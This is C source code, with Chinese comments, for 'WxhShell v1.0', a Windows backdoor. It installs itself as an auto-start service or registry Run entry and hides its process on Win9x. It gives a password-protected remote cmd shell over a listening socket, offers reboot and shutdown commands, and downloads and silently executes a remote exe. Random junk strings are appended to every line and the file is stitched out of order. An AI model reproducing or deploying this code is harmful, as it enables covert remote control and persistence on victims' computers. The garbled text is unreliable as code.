    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QdIx@[+WOq  
    else { _sb~eB~<(  
    closesocket(wsh); i:a*6b.U@N  
    ExitThread(0); zif&;)wV/  
    } ) $`}~  
    break; Y#,&Tu  
    } s.X .SJ  
  // 获取shell T,a71"c  
  case 's': { '[Sm w'n6-  
    CmdShell(wsh); |}7!'f\M  
    closesocket(wsh); ]'NL-8x">  
    ExitThread(0); nt&"? /s  
    break; 1[yy/v'q  
  } YdZ9##IU3  
  // 退出 hW!2C6  
  case 'x': { $:?Dyu(Il  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rp '^]Zx  
    CloseIt(wsh); )3IUKz%\6p  
    break; ,i jB3J  
    } }qw->+nD  
  // 离开 A"B#t"  
  case 'q': { l4gF.-.GYF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4#Xz-5v  
    closesocket(wsh); !/ a![Ne  
    WSACleanup(); vbD""  
    exit(1); "S]G+/I|iw  
    break; ?8w5tfN6t  
        } `h|Y0x  
  } cP",szcY  
  } Dm@h'*  
Z0/$XS9|h;  
  // 提示信息 &^UT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PNo9.-@G  
} ^e]O-,UBk  
  } 0HO'%'Ga*  
EI9;J-c  
  return; x8xz33  
} <NEz{1Z  
85f:!p  
// shell模块句柄 J-|&[-Z  
int CmdShell(SOCKET sock) 4@+']vN4  
{ v.&c1hKHb  
STARTUPINFO si; dB)-qL8,2  
ZeroMemory(&si,sizeof(si)); 7K HQ0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \@Gcx}Y8h  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~,_@|,)  
PROCESS_INFORMATION ProcessInfo; BbM/Rd1tAm  
char cmdline[]="cmd"; 1V wcJd  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W ]$/qyc&J  
  return 0; b^STegz  
} YQ@2p?4m  
h<Ct[46,S  
// 自身启动模式 EKD#s,(V*X  
int StartFromService(void) !F:mD ZeY  
{ A^E 6)A=  
typedef struct r#A*{4wz  
{ S0Ur{!9\#^  
  DWORD ExitStatus; B^!-%_q  
  DWORD PebBaseAddress; -e_|^T"  
  DWORD AffinityMask; QH,Fw$1  
  DWORD BasePriority; x=Aq5*A0  
  ULONG UniqueProcessId; Kx?.g#>U;  
  ULONG InheritedFromUniqueProcessId; Y_}_)nE@m  
}   PROCESS_BASIC_INFORMATION; 9[`c"Pd  
Lu~E5 ,  
PROCNTQSIP NtQueryInformationProcess; 6g\hQ\+Z}  
$|g ;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -dWg1`;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; diNAT`|?#  
.p]r S =#  
  HANDLE             hProcess; Dpwqg3,  
  PROCESS_BASIC_INFORMATION pbi; bSz@@s.  
V%{WH}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ek.@ 0c  
  if(NULL == hInst ) return 0; rq^%)tR  
0~EGrEt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s3T7M:DM4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [K@(,/$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c|d,:u#  
c^O&A\+;  
  if (!NtQueryInformationProcess) return 0; @eZBwFe  
qX`Hi9ja  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }VRl L>HAC  
  if(!hProcess) return 0; fJP *RVz  
|VzXcV-"8)  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JQ;.+5 N<K  
[mv!r-=  
  CloseHandle(hProcess); c:52pYf+  
c3Gy1#f:#2  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pH2/." zE<  
if(hProcess==NULL) return 0; }a/z.&x]V  
tot~\S  
HMODULE hMod; 6uv~.-T<l  
char procName[255]; z(8G=C  
unsigned long cbNeeded; piH0_7qr  
&]Uo>Gb3!q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MD*dq  
m?; ?I]`  
  CloseHandle(hProcess); sYo&@~T  
7AS_Aw1L  
if(strstr(procName,"services")) return 1; // 以服务启动 1hlU 6 =Y  
MRw4?HqB  
  return 0; // 注册表启动 ?:M4GY" gV  
} [KFCc_:  
|V4<eF-0S  
// 主模块 $.t>* Bq  
int StartWxhshell(LPSTR lpCmdLine) mBJr*_p  
{ R8:5N3Fx  
  SOCKET wsl; >_xuXEslUz  
BOOL val=TRUE; YF-A8gXS  
  int port=0; TpwN2 =  
  struct sockaddr_in door; *`|xa@1v`  
3u/AqL  
  if(wscfg.ws_autoins) Install(); !yVY[  
*sZH3:  
port=atoi(lpCmdLine); 6-uLK'E  
-%]1q#C>@  
if(port<=0) port=wscfg.ws_port; rQ_]%ies8  
PqL. ^  
  WSADATA data; jVLJ qWP'!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Xz)qtDN|(  
<5mv8'{L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   w3"L5;oH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a??8)=0|}  
  door.sin_family = AF_INET; AC'_#nPL#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^a`3)WBv8  
  door.sin_port = htons(port); dHTx^1  
-Ci&h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 5 2 Qr  
closesocket(wsl); )`(]jx!  
return 1; cC>Svf[CzK  
} e8T"d%f?  
c|`$ h  
  if(listen(wsl,2) == INVALID_SOCKET) { }IZw6KiN  
closesocket(wsl); _{; _wwz  
return 1; W;cY g.W2  
} tk*-Cx?_  
  Wxhshell(wsl); +t%2V?  
  WSACleanup(); ."=p\:^j*  
W7b m}JHn  
return 0; $2}#):`  
JB].ht  
} @{q<"hT  
\o/eF&  
// 以NT服务方式启动 M2w'cdHk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9 &uf   
{ 09anQHa  
DWORD   status = 0; \>pm (gF  
  DWORD   specificError = 0xfffffff; Q K#wsw  
nw% 9Qw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A7%/sMv  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; :{ZwzJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q!qD3<?5  
  serviceStatus.dwWin32ExitCode     = 0; 9]w?mHslE  
  serviceStatus.dwServiceSpecificExitCode = 0; W+63B8)4  
  serviceStatus.dwCheckPoint       = 0; [:#K_EI5%  
  serviceStatus.dwWaitHint       = 0; knYp"<qj  
(AtyM?*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kyvl>I0q@  
  if (hServiceStatusHandle==0) return; |%F,n2  
;Su-Y!&%  
status = GetLastError(); W[*xr{0V  
  if (status!=NO_ERROR) H\a"=&M  
{ HnKgD:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _fu <`|kc  
    serviceStatus.dwCheckPoint       = 0; bKGX> %-  
    serviceStatus.dwWaitHint       = 0; H!Q72tyo  
    serviceStatus.dwWin32ExitCode     = status; ZK'46lh  
    serviceStatus.dwServiceSpecificExitCode = specificError; CX{6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9$z$yGjl  
    return; Vc;[0iB  
  } L;$>SLl,  
?#xm6oe#aH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *j&)=8Y|   
  serviceStatus.dwCheckPoint       = 0; ^}p##7t [  
  serviceStatus.dwWaitHint       = 0; T:Nk9t$W7@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 1S!}su,uH  
} WEe7\bWF  
4F G0'J&hw  
// 处理NT服务事件,比如:启动、停止 W"_<SYVJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [bP^RY:  
{ eBnx$  
switch(fdwControl) tx>7?e8E  
{ 6(d6Uwc`  
case SERVICE_CONTROL_STOP: < A8>To<  
  serviceStatus.dwWin32ExitCode = 0; 6V]m0{:E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |r Aot2  
  serviceStatus.dwCheckPoint   = 0; zA>X+JH>iw  
  serviceStatus.dwWaitHint     = 0; !|xB>d q?  
  { t~j 6wsx;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \q1tT!]  
  } <MkvlLu((o  
  return; ~Ay)kv;  
case SERVICE_CONTROL_PAUSE: HrvyI)4{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; WIf.;B)L  
  break; EG3,TuDH8  
case SERVICE_CONTROL_CONTINUE: <6Gs0\JB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; >h;]rMD!|  
  break; :tU^  
case SERVICE_CONTROL_INTERROGATE: 4k@n5JNa  
  break; > d p/  
}; reh{jMC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Dk^AnMx%_  
} dGBjV #bNT  
e~zgH\`  
// 标准应用程序主函数 `HQ)][  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) mLZ1u\ 7W  
{ G@`F{l  
X\ P%C  
// 获取操作系统版本 Z>g>OPu  
OsIsNt=GetOsVer(); rx2'].  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |_TI/i>?'  
px K&aY8  
  // 从命令行安装 )/>BgXwH  
  if(strpbrk(lpCmdLine,"iI")) Install(); [M~tH *4"  
O%\cRn8m  
  // 下载执行文件 zvdut ,6<  
if(wscfg.ws_downexe) { [m0X kvd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3< ?+Yhq  
  WinExec(wscfg.ws_filenam,SW_HIDE); >bf.T7wy  
} 8(\}\4G_  
s<F*kLib  
if(!OsIsNt) { Zyz#xMmM  
// 如果时win9x,隐藏进程并且设置为注册表启动 gPMfn:a-8  
HideProc(); s%K(hk  
StartWxhshell(lpCmdLine); dz([GP'-*  
} \(j*K6#  
else .yZLC%}  
  if(StartFromService()) dE_Xd :>  
  // 以服务方式启动 ]<\YEz&A  
  StartServiceCtrlDispatcher(DispatchTable); Tt)z[^)%  
else 0<\|D^m=&h  
  // 普通方式启动 R#4l"  
  StartWxhshell(lpCmdLine); b+|Jw\k  
@}d;-m~  
return 0; ~ #3{5* M  
} M.mn9kw`  
nTr%S&<+"  
ewk7:zS/?  
vw2E$ya  
=========================================== z:#]P0  
05FGfnq.8  
S"h;u=5it  
IHO*%3mA/  
bLai@mL&a  
e`qrafa  
" W`G bo uxd  
?^%[*OCCC!  
#include <stdio.h> "frZ%mv  
#include <string.h> bzNnEH`^]  
#include <windows.h> gE2(E0H  
#include <winsock2.h> /fp8tL2Y  
#include <winsvc.h> 3E|||3rf  
#include <urlmon.h> jDY B*Y^F  
 Ol }5ry  
#pragma comment (lib, "Ws2_32.lib") V@`b7GM  
#pragma comment (lib, "urlmon.lib") j;-Wf6h{  
TI7$J#  
#define MAX_USER   100 // 最大客户端连接数 X#&5?oq`  
#define BUF_SOCK   200 // sock buffer FQ<x(&/NF  
#define KEY_BUFF   255 // 输入 buffer N 3L$"g5^  
h(/? 81:  
#define REBOOT     0   // 重启 PF`uwx@zH  
#define SHUTDOWN   1   // 关机 ZR}v_]l^  
ZTzec zXpQ  
#define DEF_PORT   5000 // 监听端口 '\#q7YjaL  
ML12&E>  
#define REG_LEN     16   // 注册表键长度 |KYl'"5\  
#define SVC_LEN     80   // NT服务名长度 XZ |L D#  
:.+w'SEn4M  
// 从dll定义API Ww-x+U\l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ..8t1+S6]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #AGO~#aK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); S!8<|WO^t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uBbQJvL  
.Od:#(aq  
// wxhshell配置信息 Pw<?Dw]m  
struct WSCFG { ~DK.Y   
  int ws_port;         // 监听端口 x *I'Ar  
  char ws_passstr[REG_LEN]; // 口令 utZI'5i  
  int ws_autoins;       // 安装标记, 1=yes 0=no MT>sRx #  
  char ws_regname[REG_LEN]; // 注册表键名 3HrG^/  
  char ws_svcname[REG_LEN]; // 服务名 7p.8{zQ*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,zoHmV1Wd+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }+KM"+@$<  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u;q Q/Ftb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B46:LQ9[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" n>v1<^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *LB-V%{|'  
bPOPoq1#  
}; e#;43=/Ia  
"rn  
// default Wxhshell configuration G!I++M"  
struct WSCFG wscfg={DEF_PORT, {A0F/#M]  
    "xuhuanlingzhe", 6)^*DJy  
    1, \XB,)XDB  
    "Wxhshell", FvT4?7-  
    "Wxhshell", NRx 7S 9W  
            "WxhShell Service", v)du]  
    "Wrsky Windows CmdShell Service", 9Ad%~qciY  
    "Please Input Your Password: ", uBww  
  1, 4~Cf_`X}]  
  "http://www.wrsky.com/wxhshell.exe", Jq` Dvz  
  "Wxhshell.exe" Gky*EY  
    }; m-O*t$6  
 ,h^6y  
// 消息定义模块 QIkFX.^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gV@xu)l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aftt^h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \;0pjxq=  
char *msg_ws_ext="\n\rExit."; F\JS?zt2  
char *msg_ws_end="\n\rQuit."; `?$-T5Rr  
char *msg_ws_boot="\n\rReboot..."; QgU]3`z"  
char *msg_ws_poff="\n\rShutdown..."; W@AHE?s6g  
char *msg_ws_down="\n\rSave to "; w@-G_-6W  
Hj >fg2/  
char *msg_ws_err="\n\rErr!"; %h ;oi/pe  
char *msg_ws_ok="\n\rOK!"; ^N<aHFF  
r !!uA1!7  
char ExeFile[MAX_PATH]; 7%"|6dw  
int nUser = 0; U=D;Cj Ah  
HANDLE handles[MAX_USER]; .$-;`&0cZ  
int OsIsNt; DL bP$&o  
L8D=F7  
SERVICE_STATUS       serviceStatus; #eKKH]J/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a^&"gGg  
F4\:9ws  
// 函数声明 1^$hbRq  
int Install(void); LE}`rW3  
int Uninstall(void); EN`JzL jP  
int DownloadFile(char *sURL, SOCKET wsh); 28^/By:J  
int Boot(int flag); G%~V b  
void HideProc(void); |gA@$1+}  
int GetOsVer(void); 9q?knMt  
int Wxhshell(SOCKET wsl); IA0 vSF:  
void TalkWithClient(void *cs); esSj 3E  
int CmdShell(SOCKET sock); mfZbo#KS#v  
int StartFromService(void); |iJz[%  
int StartWxhshell(LPSTR lpCmdLine); (Yj6 |`  
Q)aoc.f!v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :j+E]|d(~6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <T7@,_T  
S<]k0bC  
// 数据结构和表定义 Ia](CN*;6  
SERVICE_TABLE_ENTRY DispatchTable[] = c= 2E/x?  
{ TSFrv8L  
{wscfg.ws_svcname, NTServiceMain}, BMAWjEr  
{NULL, NULL} i-0 :Fs  
}; `P\H{  
`{YOl\d_  
// 自我安装 X#axCDM-  
int Install(void) g[i;>XyP  
{ 3\ajnd|  
  char svExeFile[MAX_PATH]; %rs2{Q2k  
  HKEY key; Y_*KAr'{P  
  strcpy(svExeFile,ExeFile); @GAj%MK$  
;L87 %P(.  
// 如果是win9x系统,修改注册表设为自启动 s8(Z&pQ  
if(!OsIsNt) { $!G|+OuTR  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { umP nw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !"phz&E5ah  
  RegCloseKey(key); 4Ty?>'*|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xy>$^/[$  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); / w dvm4  
  RegCloseKey(key); \|X 1  
  return 0; [ x>Pf1  
    } 9hK8dJw  
  } 1<x5{/CZ  
}  e#5WX  
else { j\KOKvY)  
iU.` TqR7  
// 如果是NT以上系统,安装为系统服务 EM<W+YU  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X ([^i;mr  
if (schSCManager!=0) \t{4pobo  
{ <EyJ $$  
  SC_HANDLE schService = CreateService d.ywH;  
  ( uu4! e{K  
  schSCManager, FBP # _"z  
  wscfg.ws_svcname, ~*h)`uM  
  wscfg.ws_svcdisp, Flpl,|n a  
  SERVICE_ALL_ACCESS, ST#)Fl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,^4"e (  
  SERVICE_AUTO_START, b?=r%D->w  
  SERVICE_ERROR_NORMAL, :fX61S6)  
  svExeFile, ce4rhtkV  
  NULL, q@1A2L\Om  
  NULL, T:Q+ Z }v+  
  NULL, "nJMS6HJ[  
  NULL, uR")@Tc  
  NULL xg%{p``  
  ); B7A.~' =  
  if (schService!=0) :zC=JvKT  
  { m q<:^  
  CloseServiceHandle(schService); 56."&0  
  CloseServiceHandle(schSCManager); ^38k xwh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fm^tU0DY  
  strcat(svExeFile,wscfg.ws_svcname); n}%_H4t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x2~fc  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r_ 9"^Er  
  RegCloseKey(key); 'lC=k7@x  
  return 0; ( K-7z  
    } P[`>*C\9c  
  } z 4. |N  
  CloseServiceHandle(schSCManager); 8oHIXnK  
} E]{0lG`l  
} ViOXmK"  
oM n'{+(w  
return 1; 8f?o?c|  
} ~Gg19x.#uW  
`h'Ab63  
// 自我卸载 6EWCJ%_  
int Uninstall(void) 9 [E/^  
{ WFug-#;e  
  HKEY key; <6N3()A)%1  
Q\~#cLJ/  
if(!OsIsNt) { ieEt C,U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ENYc.$ r  
  RegDeleteValue(key,wscfg.ws_regname); w0>5#j q#r  
  RegCloseKey(key); @uxg;dyI~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T/L\|_:'  
  RegDeleteValue(key,wscfg.ws_regname); Hb!A\;>  
  RegCloseKey(key); u8~5e  
  return 0;  !vr A\d  
  } $H,9GIivD  
} Q>=/u-  
} E&vCzQ  
else { H'2o84$  
\bSakh71  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^> d"D  
if (schSCManager!=0) =:RNpi,  
{ HBa6Y&)<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ijNI6_eU  
  if (schService!=0) A.P*@}9  
  { YBk* CW9  
  if(DeleteService(schService)!=0) { uvD*]zX  
  CloseServiceHandle(schService); Mb%[Qp60  
  CloseServiceHandle(schSCManager); w^$$'5=  
  return 0; dfeN_0` -  
  } B<!wh  
  CloseServiceHandle(schService); 1N8YD .3  
  } BGT`) WP  
  CloseServiceHandle(schSCManager); SkXx: @  
} i;+<5_   
} i\L7z)u  
^\PNjj*C i  
return 1; `? f sU  
} TsRbIq[  
R<>uCF0  
// 从指定url下载文件 YH[HJ#:7r  
int DownloadFile(char *sURL, SOCKET wsh) f2$<4H hmm  
{ M<)Vtn  
  HRESULT hr; IC.R4-  
char seps[]= "/"; 6}mSA@4&  
char *token; 6<Zk%[7t  
char *file; kL}*,8s{  
char myURL[MAX_PATH];  YP}r15P  
char myFILE[MAX_PATH]; )% ?SWuS?N  
u z>V  
strcpy(myURL,sURL); 1w?DSHe  
  token=strtok(myURL,seps); i ;YRE&X  
  while(token!=NULL) t9kqX(!  
  { <C7/b#4>\  
    file=token; m3b?f B  
  token=strtok(NULL,seps); nqujT8  
  } }l@7t&T|  
3n TpL#  
GetCurrentDirectory(MAX_PATH,myFILE); =hKu85  
strcat(myFILE, "\\"); g>Kh? (  
strcat(myFILE, file); cNuBWLG  
  send(wsh,myFILE,strlen(myFILE),0); '~Gk{'Nx"  
send(wsh,"...",3,0); {B\lk:"X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oth=#hfU^  
  if(hr==S_OK) hrnY0  
return 0; V^p XbDRl  
else q/\Hh9`  
return 1; \E:l E/y  
2W`<P2IA  
} QcDtZg\  
8J#TP7;  
// 系统电源模块 H Ff9^  
int Boot(int flag) Os|F  
{ NIOWjhi[Jn  
  HANDLE hToken;  AQz&u  
  TOKEN_PRIVILEGES tkp; X=b]Whuv  
rexy*Xv`2p  
  if(OsIsNt) { GI*2*m!u  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h]okY49hY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  *}`D2_uP  
    tkp.PrivilegeCount = 1; TYr"yZ([  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7tz #R :  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _S#3!Wx  
if(flag==REBOOT) { &l1CE1 9<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) umj5M5oe3  
  return 0; EPwM+#|e-  
} !F*CEcB  
else { DC%H(2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +aIy':P  
  return 0; C")NN s =  
} l ilF _ y  
  } XB-l[4?  
  else { }>u<,  
if(flag==REBOOT) { ;*EPAC+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &8wluOs/5  
  return 0; 3sq(FsT  
} ^c]lEo  
else { :>otlI<0t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q'awV5y  
  return 0; E#cZM>  
} .9;wJ9Bw[  
} 5%Q[X  
rN^P//  
return 1; 7Cj6Kw5k  
} Tn8GLn  
q!zsGf {  
// win9x进程隐藏模块 J deGQ  
void HideProc(void) O:,Fif?;  
{ ]):kMRv  
<oWoJP`G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x?B8b-*  
  if ( hKernel != NULL ) KZ)p\p<1  
  { m2$Qp{C6H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); WH^r M`9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R+O[,UM^I~  
    FreeLibrary(hKernel); GiN\@F!  
  } FsYsQ_,R3  
,d34v*U  
return; ()v{HB i  
} & ]/Z~Vt  
C|A:^6d3=  
// 获取操作系统版本 _~E&?zR2>"  
int GetOsVer(void) w oSI 2i  
{ RI%ZT  
  OSVERSIONINFO winfo; 6- @n$5W0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;eeu 9_$  
  GetVersionEx(&winfo); f#9\&-h e0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5#U*vGVT  
  return 1; UF00K1dbz  
  else FWbA+{8  
  return 0; _=eeZ4f  
} G}b LWA  
J<{@D9r9<~  
// 客户端句柄模块 M _z-~G  
int Wxhshell(SOCKET wsl) `o~9a N  
{ m mj6YQ0a  
  SOCKET wsh; ES#K'Lf  
  struct sockaddr_in client; }TCOm_Y/qL  
  DWORD myID; E|Lv_4lb=  
%r*zd0*<n1  
  while(nUser<MAX_USER) c|'hs   
{ }~RH!Q1  
  int nSize=sizeof(client); ,4wZ/r> d  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Dab1^H!KT  
  if(wsh==INVALID_SOCKET) return 1; =K)au$BE|  
GUyc1{6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EI29;  
if(handles[nUser]==0) $iA`_H`W  
  closesocket(wsh); v&EHp{8Qd  
else 3Yd)Fm  
  nUser++; H+>l][  
  } ZdD]l*.\i  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Rz!E=1Y$  
F*_mHYa;  
  return 0; H[{ch t h  
} <eq93  
IRZ?'Im  
// 关闭 socket ;?9u#FRtw  
void CloseIt(SOCKET wsh) |'2E'?\/x  
{ hfGA7P"  
closesocket(wsh); <,Zk9 t&  
nUser--; b:S#Sz$  
ExitThread(0); `~"l a>}  
} "yI)F~A  
'%>$\Lv  
// 客户端请求句柄 Q b5AQf30  
void TalkWithClient(void *cs) `q 4%  
{ <o_H]c->  
@Kd lX>i  
  SOCKET wsh=(SOCKET)cs; Cp_YIcnEJ  
  char pwd[SVC_LEN];  @GYM4T  
  char cmd[KEY_BUFF]; :LL>C)(f  
char chr[1]; vTD`Ja#h  
int i,j; yS#LT3>l  
)h ~MIpWR  
  while (nUser < MAX_USER) { SZCF db  
L`ZH.fN  
if(wscfg.ws_passstr) { H5Rn.n(|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i>S /W!F  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XY5I5H_U  
  //ZeroMemory(pwd,KEY_BUFF); =^P<D&%q  
      i=0; j`\}xDg  
  while(i<SVC_LEN) { D'>yu"  
1(Kd/%]{  
  // 设置超时 .! LOhZ  
  fd_set FdRead; t`DoTb4  
  struct timeval TimeOut; '(kySf[  
  FD_ZERO(&FdRead); 6M"]p  
  FD_SET(wsh,&FdRead); 6|05-x|  
  TimeOut.tv_sec=8; $H/3t?6h`  
  TimeOut.tv_usec=0; "~4ULl< i'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &Q^M[X  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?R0sY ?u  
HzM^Zn57%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); e jwFQ'wTx  
  pwd=chr[0]; 67Ai.3dR  
  if(chr[0]==0xd || chr[0]==0xa) { m?_S&/+*  
  pwd=0; o_<o8!]l"  
  break; #Vanw!  
  } v.+-)RLQg  
  i++; 74%,v|  
    } aF$HF;-y  
3_IuK 6K2  
  // 如果是非法用户,关闭 socket }@V(y9K  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R tn.cSd  
} /r|^Dc Nx  
6tM CpSJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zQ}:_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); im_W0tGvF  
_EOQ*K#=Ct  
while(1) { 9q;\;-  
@7%nMTZ@&v  
  ZeroMemory(cmd,KEY_BUFF); 38%]G Q  
s} ,p>8  
      // 自动支持客户端 telnet标准   :?{ **&=  
  j=0; VuFH >8n  
  while(j<KEY_BUFF) { e.i5j^5u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); UR?[ba_h   
  cmd[j]=chr[0]; iwL\Ha  
  if(chr[0]==0xa || chr[0]==0xd) { a[)in ,3  
  cmd[j]=0; 'u$$scGt  
  break; l?B\TA^  
  } lC.Yu$O5  
  j++; @Q3aJ98)2  
    } g^1M]1.f  
j ij:}.d6  
  // 下载文件 =_8  
  if(strstr(cmd,"http://")) { ;*+jCL 2F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /+Xv( B  
  if(DownloadFile(cmd,wsh)) |J2R w f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (hVhzw"~  
  else u|=_!$8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `Y/DttjL  
  } &`<j!xlG  
  else { jGd{*4{3+  
]xA;*b;| h  
